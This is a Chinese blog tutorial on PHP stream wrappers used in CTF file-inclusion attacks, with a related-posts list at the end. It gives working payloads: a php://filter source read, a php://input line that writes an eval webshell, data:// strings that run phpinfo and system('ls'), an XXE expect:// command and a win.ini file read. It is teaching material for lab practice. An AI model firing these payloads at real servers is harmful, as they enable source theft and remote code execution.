【PHP安全】PHP伪协议

PHP伪协议:

  • file:// #访问本地文件系统
  • http:// #访问HTTPs网址
  • ftp:// #访问ftp URL
  • php:// #访问输入输出流
  • zlib:// #压缩流
  • data:// #数据(RFC 2397)
  • ssh2:// #security shell2
  • expect:// #处理交互式的流
  • glob:// #查找匹配的文件路径
  • phar:// #PHP 归档
  • rar:// #RAR
  • ogg:// #音频流

配置文件PHP.ini中关键参数:

  • allow_url_fopen:是否允许打开远程文件
  • allow_url_include:是否允许 include/require 远程文件

php://

在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):

bash 复制代码
filename=php://filter/read=convert.base64-encode/resource=../../index.php


filename=../../index.php

会直接当成php文件解析

php://input

使用条件:

allow_url_include:on

代码执行:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
也可以写入一句话木马:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST"cmd";?>');?>

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:

  • allow_url_fopen :on
  • allow_url_include:on

代码执行:

bash 复制代码
filename=data://text/plain,<?php phpinfo();?>
bash 复制代码
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
bash 复制代码
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

补充:
在phpinfo中需要关注的敏感信息:

  1. 绝对路径
    包含环境变量 _SERVER\['PATH'\] 文件根目录 _SERVER'DOCUMENT_ROOT' 等信息
  2. 支持的程序
    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi
  3. 查看真实IP
    $_SERVER'SERVER_ADDR' 或SERVER_ADDR
    绕开 cdn 获取 C 段资产,旁站等重要信息
  4. 查看敏感配置
    allow_url_include:远程文件包含
    allow_url_fopen:远程文件读取
    disable_functions:禁用的函数名
    open_basedir:可将用户访问文件的活动范围限制在指定的区域
    short_open_tag:允许<??>这种形式,并且<?=等价于<? echo
  5. 配置文件位置
    读取配置文件内容,获取信息
    Loaded Configuration File

file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

任意文件读取:

bash 复制代码
filename=file:///C://windows/win.ini

zip://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件

当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容

只需要是zip的压缩包即可,后缀名可以为任意格式。

bash 复制代码
filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt

zlib://

代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

代码执行:

bash 复制代码
filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt

expact://

XXE漏洞命令执行:

xml 复制代码
<?xml version="1.0"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>

http:// & https:// 协议

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

代码执行:

bash 复制代码
filename=http://127.0.0.1:8088/phpinfo.txt

安全配置小建议:

以上测试使用的是pikachu靶场,建议在使用时更改配置

更改为Allow from 127.0.0.1

这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了

相关推荐
Aphasia3112 天前
VPN 与内网穿透
安全
BingoGo2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982073 天前
PHP 扩展——从入门到理解
php
Mr_愚人派3 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
鹏仔先生3 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
LDR0063 天前
Type-C 快充全面升级!LDR6601 赋能个人护理便携电机,重塑剃须刀 / 理发器新体验
c语言·开发语言
雪碧聊技术3 天前
Tree.js是什么?一文讲透
开发语言·javascript·ecmascript
码云数智-园园3 天前
C++20 Modules 模块详解
java·开发语言·spring
swordbob3 天前
NIO的channel中什么是 fd(File Descriptor,文件描述符)
java·开发语言·nio